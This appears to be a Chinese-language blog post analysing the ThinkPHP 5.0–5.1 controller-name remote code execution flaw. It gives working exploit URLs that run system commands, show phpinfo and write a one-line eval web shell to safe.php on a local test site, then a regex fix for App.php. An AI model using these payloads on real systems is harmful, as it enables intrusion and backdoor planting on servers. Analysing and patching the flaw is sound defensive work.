thinkphp Oday漏洞分析利用以及漏洞修复的办法

 

        THINKPHP官方于近日,对现有的thinkphp5.0到5.1所有版本进行了升级,以
及补丁更

新,这次更新主要是进行了一些漏洞修复,最严重的就是之前存在的SQL
注入漏洞,以及

远程代码执行查询系统的漏洞都进行了修复,官方本以为没有问题
了,但是在实际的安全检

测当中发现,还是存在问题,还是可以远程代码进行注入
,插入非法字符,提交到服务器后

端中去。
 
 
关于这次发现的oday漏洞,我们来看下官方之前更新的代码文件是怎么样的,更新的程序文

件路径是library文件夹下的think目录里的app.php,如下图:



漏洞产生的原因就在于这个控制器这里,整个thinkphp框架里的功能对控制器没有进行严格

的安全过滤于检查,使攻击者可以伪造恶意参数进行强制插入,最根本的
原因就是正则的表

达式写的不好,导致可以绕过。

 
 
在controller获取控制器后,直接进行赋值,但是并没有对控制器的名进行严格的检测,导致

可以使用斜杠等特殊符号来远程代码注入。

 
 
我们来搭建一下网站的环境,apache+mysql+Linux centos系统,搭建好的测试环境地址是

http://127.0.01/anquan ,我们可以直接在index.php后面伪造攻击参数
,示例如下:
 
 
http://127.0.0.1/anquan/index.php?s=/index/\think
 
\app/invokefunction&function=call_user_func_array&vars[0]=system&vars
 
[1][]=ls%20-l

 
直接get方式提交到网站中去,可以直接查询到网站当前根目录的所有文件,截图如下:
 
通过该漏洞也可以直接远程代码注入执行phpinfo语句,查询当前的php版本,路径,扩展,以

及php.ini存放的地址,都可以看得到,构造如下代码即可。
 
http://127.0.0.1/anquan/index.php?s=/index/\think
 
\app/invokefunction&function=call_user_func_array&vars[0]=system&vars
 
[1][]=php%20-r%20'phpinfo();'


 
 
有些人可能会问了,既然都可以phpinfo,查询目录文件,可不可以getshell写网站木马文件到网

站里呢? 答案是可以的,我们测试的时候是以一句话木马代码的写
入到safe.php文件里。
 
 
http://127.0.0.1/anquan/index.php?s=/index/\think
 
\app/invokefunction&function=call_user_func_array&vars[0]=system&vars
 
[1][]=echo%20%27<?php%20@eval($_GET["cmd"]);?>%27%20>%20safe.php
 
 
关于这次thinkphp的漏洞利用以及分析到此就结束了,该漏洞属于高危漏洞,危害严重性较大,

很多升级更新补丁的网站都会受到攻击,甚至有些网站会被挂马,那
么该如何修复thinkphp的漏

洞呢?针对于这个情况,我们要对其
library/think/App.php代码里的正规则表达式进行更改,

if (!preg_match('/^
 
[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 
 
'controller not exists:' . $controller); }

替换之前的正规则表达式即可,
还需要对网站的目录进行权限部署,防止生成php文件.
 
分享: